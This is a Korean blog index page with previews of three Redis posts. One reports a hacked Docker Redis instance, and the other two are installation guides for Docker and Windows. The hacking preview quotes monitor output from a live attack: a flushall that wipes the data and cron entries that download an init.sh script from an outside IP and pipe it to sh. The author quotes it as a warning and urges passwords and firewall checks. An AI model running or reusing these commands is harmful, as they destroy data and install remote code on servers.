본문 바로가기

Database/Redis

(3)
Redis 해킹 backup 생성되고 데이터가 삭제됨 Docker에서 레디스를 설치하고 사용하는 데에 지속적으로 데이터가 삭제되고 backup1, backup2, backup3, backup4 키가 저장되는 것을 확인하였습니다. 모니터링 해보면 지속적으로 해킹을 시도합니다. 보안 설정을 잘 해둬야겠습니다. 계정 설정을 해두고 방화벽 설정을 점검합시다. redis-cli monitor "flushall" "set" "backup1" "\n\n\n*/2 * * * * cd1 -fsSL http://194.87.139.103/cleanfda/init.sh | sh\n\n" "set" "backup2" "\n\n\n*/3 * * * * wget -q -O- http://194.87.139.103/cleanfda/init.sh | sh\n\n" "set" "back..
Docker Redis 설치, 접속 Docker로 Redis를 설치하고 실행해볼게요. 1. Redis 이미지 가져오기 docker pull redis 2. 신규 Container 생성, 실행 docker run --name redis-container -p 6379:6379 redis Redis는 기본적으로 포트만 열려있으면 무조건으로 접근이 가능합니다. 기본 설정으로 설치한 Redis 보안에 상당히 취약하기 때문에 최소한 반드시 비밀번호라도 설정해줍시다. 아래 예제보다 1억 배는 매우 어려운 문자로 해줍시다. 실제 클라우드에 6379 포트 열어두고 있으면 무조건 해킹 시도가 와요. 포트만 바꿔줘도 해킹 시도 당하는 횟수가 거의 줄어드니 포트 변경도 권장 드립니다. docker run --name redis-container -p 6379..
Windows Redis 설치 (윈도우즈 레디스) Windows에 Redis를 설치해보려고 해요. Redis에서 공식적으로 지원하지 않아요. 하지만, 다행히도 Microsoft에서 Redis를 Windows에 설치하여 사용할 수 있도록 지원해주고 있어요. 우선, 아래 github url에서 Redis 설치 파일을 다운로드 할게요. https://github.com/MicrosoftArchive/redis/releases microsoftarchive/redis Redis is an in-memory database that persists on disk. The data model is key-value, but many different kind of values are supported: Strings, Lists, Sets, Sorted Sets,..